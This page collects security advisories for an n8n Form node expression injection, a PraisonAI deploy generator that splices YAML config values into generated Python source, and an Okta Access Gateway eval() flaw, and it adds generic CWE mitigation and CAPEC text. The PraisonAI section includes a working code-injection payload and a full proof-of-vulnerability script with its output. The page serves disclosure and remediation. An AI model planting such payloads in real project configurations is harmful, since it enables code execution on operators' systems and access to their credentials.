Vulnerability from github – Published: 2026-02-25 21:21 – Updated: 2026-02-27 21:51Impact
A second-order expression injection vulnerability existed in n8n's Form nodes that could allow an unauthenticated attacker to inject and evaluate arbitrary n8n expressions by submitting crafted form data. When chained with an expression sandbox escape, this could escalate to remote code execution on the n8n host.
The vulnerability requires a specific workflow configuration to be exploitable:
1. A form node with a field interpolating a value provided by an unauthenticated user, e.g. a form submitted value.
2. The field value must begin with an = character, which caused n8n to treat it as an expression and triggered a double-evaluation of the field content.
For example, a workflow uses a multi-step Form where a downstream Form node renders user-provided input back in an HTML field and precedes it with an = sign:
=<h2>Thank you, {{ $input.first().json[\"Name\"] }}!</h2>
There is no practical reason for a workflow designer to prefix a field with = intentionally — the character is not rendered in the output, so the result would not match the designer's expectations. If added accidentally, it would be noticeable and very unlikely to persist. An unauthenticated attacker would need to either know about this specific circumstance on a target instance or discover a matching form by chance.
Even when the preconditions are met, the expression injection alone is limited to data accessible within the n8n expression context. Escalation to remote code execution requires chaining with a separate sandbox escape vulnerability.
Due to these real-world constraints — the unlikely workflow configuration, the need for an additional sandbox escape, and the difficulty of discovery — we have assessed the severity as High rather than Critical, diverging from the base CVSS score to better reflect actual exploitability.
Patches
The issue has been fixed in n8n versions 2.10.1, 2.9.3, and 1.123.22. Users should upgrade to one of these versions or later to remediate the vulnerability.
Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Review usage of form nodes manually for above mentioned preconditions.
- Disable the Form node by adding n8n-nodes-base.form to the NODES_EXCLUDE environment variable.
- Disable the Form Trigger node by adding n8n-nodes-base.formTrigger to the NODES_EXCLUDE environment variable.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Vulnerability from github – Published: 2026-10-08 19:36 – Updated: 2026-10-08 19:36API deploy code generator embeds unescaped YAML fields into Python source
Summary
PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
Technical Details
The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.
The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''
The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
The generated startup code then becomes equivalent to:
app.run(
host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
port=8005,
debug=False,
)
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent_file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.
PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.

The safe_host negative control compiles and evaluates the generated module without a marker side effect. The malicious_host_from_yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious_agent_file_route_value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.
Impact
If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.
Suggested Fix
Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents_file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

Advisory History
The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate_api_server_code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents_file, not unauthenticated request access to the generated API.
This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate_api_server_code().
AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

"details": "# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI\u0027s API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -\u003e str:\n ...\n code = f\u0027\u0027\u0027\"\"\"\n...\n praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n \"agent_file\": \"{agents_file}\"\n...\n app.run(\n host=\u0027{config.host}\u0027,\n port={config.port},\n debug={config.reload}\n )\n\u0027\u0027\u0027\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n host=\u0027\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\u0027,\n port=8005,\n debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (\u003cside effect\u003e and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n class FakeApp:\n def __init__(self, name):\n self.name = name\n\n def route(self, *args, **kwargs):\n def deco(func):\n return func\n\n return deco\n\n def run(self, *args, **kwargs):\n return None\n\n flask = types.ModuleType(\"flask\")\n flask.Flask = FakeApp\n flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n flask.jsonify = lambda obj: obj\n sys.modules[\"flask\"] = flask\n\n flask_cors = types.ModuleType(\"flask_cors\")\n flask_cors.CORS = lambda app: app\n sys.modules[\"flask_cors\"] = flask_cors\n\n praisonai_mod = types.ModuleType(\"praisonai\")\n\n class FakePraisonAI:\n def __init__(self, agent_file):\n self.agent_file = agent_file\n\n def run(self):\n return \"ok\"\n\n praisonai_mod.PraisonAI = FakePraisonAI\n sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n from praisonai.deploy.api import generate_api_server_code\n from praisonai.deploy.models import APIConfig\n from praisonai.deploy.schema import validate_agents_yaml\n\n install_stubs()\n\n with tempfile.TemporaryDirectory() as tmp:\n tmp_path = Path(tmp)\n host_marker = tmp_path / \"host-marker.txt\"\n file_marker = tmp_path / \"agent-file-marker.txt\"\n host_payload = \"\u0027 + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + \u0027\"\n agents_yaml = tmp_path / \"agents.yaml\"\n agents_yaml.write_text(yaml.safe_dump({\n \"deploy\": {\n \"type\": \"api\",\n \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n },\n \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n }))\n parsed_config = validate_agents_yaml(str(agents_yaml))\n\n results = []\n for label, config in [\n (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n (\"malicious_host_from_yaml\", parsed_config.api),\n ]:\n host_marker.unlink(missing_ok=True)\n code = generate_api_server_code(\"agents.yaml\", config)\n compile(code, f\"\u003cgenerated-{label}\u003e\", \"exec\")\n exec(code, {\"__name__\": \"__main__\"})\n results.append({\n \"case\": label,\n \"compiled\": True,\n \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n \"marker_exists_after_startup\": host_marker.exists(),\n \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n \"generated_contains_raw_host\": config.host in code,\n })\n\n file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n file_marker.unlink(missing_ok=True)\n code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n compile(code, \"\u003cgenerated-agent-file\u003e\", \"exec\")\n namespace = {\"__name__\": \"generated_agent_file\"}\n exec(code, namespace)\n namespace[\"list_agents\"]()\n results.append({\n \"case\": \"malicious_agent_file_route_value\",\n \"compiled\": True,\n \"marker_exists_after_list_agents\": file_marker.exists(),\n \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n \"generated_contains_raw_agent_file\": file_payload in code,\n })\n\n print(json.dumps(results, indent=2))\n return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main(sys.argv[1] if len(sys.argv) \u003e 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n {\n \"case\": \"safe_host\",\n \"compiled\": true,\n \"host_preserved_by_yaml_parser\": null,\n \"marker_exists_after_startup\": false,\n \"marker_contents\": null,\n \"generated_contains_raw_host\": true\n },\n {\n \"case\": \"malicious_host_from_yaml\",\n \"compiled\": true,\n \"host_preserved_by_yaml_parser\": true,\n \"marker_exists_after_startup\": true,\n \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n \"generated_contains_raw_host\": true\n },\n {\n \"case\": \"malicious_agent_file_route_value\",\n \"compiled\": true,\n \"marker_exists_after_list_agents\": true,\n \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n \"generated_contains_raw_agent_file\": true\n }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect.

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34The Okta Access Gateway management console passes user-supplied input to eval() without sanitization during an authenticated administrator SSH session. As a result, the unsanitized input is executed directly, leading to code execution with the privileges of the management console.

Mitigation
Strategy: Refactoring
If possible, refactor your code so that it does not need to use eval() at all.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
